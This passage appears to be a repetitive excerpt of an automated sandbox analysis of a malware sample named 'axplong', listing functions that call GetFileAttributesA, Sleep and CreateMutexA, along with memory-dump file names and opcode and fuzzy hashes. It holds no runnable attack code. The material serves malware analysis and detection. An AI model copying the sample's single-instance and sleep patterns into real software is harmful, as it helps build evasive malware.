CreateMutexA.KERNEL32(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: $2o
API String ID: 396266464-4034404246
Opcode ID: 77491d93f6d5e09d81549f4a2dc8d6702dc47cb6e7cca3ae44bd458306961c59
Instruction ID: e87c6779dca4c30b3d4b17cfdead7e43efd07b68aa95587edbd13ea59a2ac946
Opcode Fuzzy Hash: 77491d93f6d5e09d81549f4a2dc8d6702dc47cb6e7cca3ae44bd458306961c59
Instruction Fuzzy Hash: 53315B31A101008FFF18DBB8DD897ADB7EBEB86314F24422DE014ABBD5D73599818796

Function 0069A213 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0069A216
Sleep.KERNEL32(00000064,?), ref: 0069A893
CreateMutexA.KERNEL32(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: $2o
API String ID: 396266464-4034404246
Opcode ID: 1a38bc78bccbc9a8d1c0d2c9e896534bdb6eb8ab777145d13d8c904bb9a139b8
Instruction ID: e9e53ba24b30594c5c3b0caccd88bd2ec5328b07e4cb03ebfa44d9e51601adce
Opcode Fuzzy Hash: 1a38bc78bccbc9a8d1c0d2c9e896534bdb6eb8ab777145d13d8c904bb9a139b8
Instruction Fuzzy Hash: A4315B31A101409BFF18DBF8DD8876CB6FBEB86314F244219E415ABBD5C7369A818792

Function 0069A348 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0069A34B
Sleep.KERNEL32(00000064,?), ref: 0069A893
CreateMutexA.KERNEL32(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: $2o
API String ID: 396266464-4034404246
Opcode ID: 7a277ac771d9a8337c17c5dab0918e44b6734ed992a527d0d757abc0b5a04a3b
Instruction ID: 3e804235e74e2a01d435c85ad18c0cbf30c8c59f944a3c032a6a6929bf9f3bb0
Opcode Fuzzy Hash: 7a277ac771d9a8337c17c5dab0918e44b6734ed992a527d0d757abc0b5a04a3b
Instruction Fuzzy Hash: FC313931A101008BEF18ABB8DD8976DB6F7EF86318F24821DE014DBBC5DB759D818796

Function 0069A47D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0069A480
Sleep.KERNEL32(00000064,?), ref: 0069A893
CreateMutexA.KERNEL32(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: $2o
API String ID: 396266464-4034404246
Opcode ID: b411fec79519569339f174cbe637355493e7e6305497f31bd750b542e8a6866d
Instruction ID: faf617a61c7761cf0f0c7d98ee89e3c1f35af565680dc761f6d9620ed0797852
Opcode Fuzzy Hash: b411fec79519569339f174cbe637355493e7e6305497f31bd750b542e8a6866d
Instruction Fuzzy Hash: 9F314A31B001008BEF18EBB8DD897ACB6F7EB86318F24421DE0159BBC1DB7599818792

Function 0069A5B2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0069A5B5
Sleep.KERNEL32(00000064,?), ref: 0069A893
CreateMutexA.KERNEL32(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: $2o
API String ID: 396266464-4034404246
Opcode ID: e5a8ab908da05b8bff942865263c130d775ccdd26a484849f639aaabb224258a
Instruction ID: 76ce0462e311fe6ae68cf784ea2a0fc1f5686cd208ea2e9f30c16e0aed9efde0
Opcode Fuzzy Hash: e5a8ab908da05b8bff942865263c130d775ccdd26a484849f639aaabb224258a
Instruction Fuzzy Hash: 18316A31B001409BEF08DBB8DD8876DB7EBDB86314F24421DE0159BBD5C73599818792

Function 0069A6E7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0069A6EA
Sleep.KERNEL32(00000064,?), ref: 0069A893
CreateMutexA.KERNEL32(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
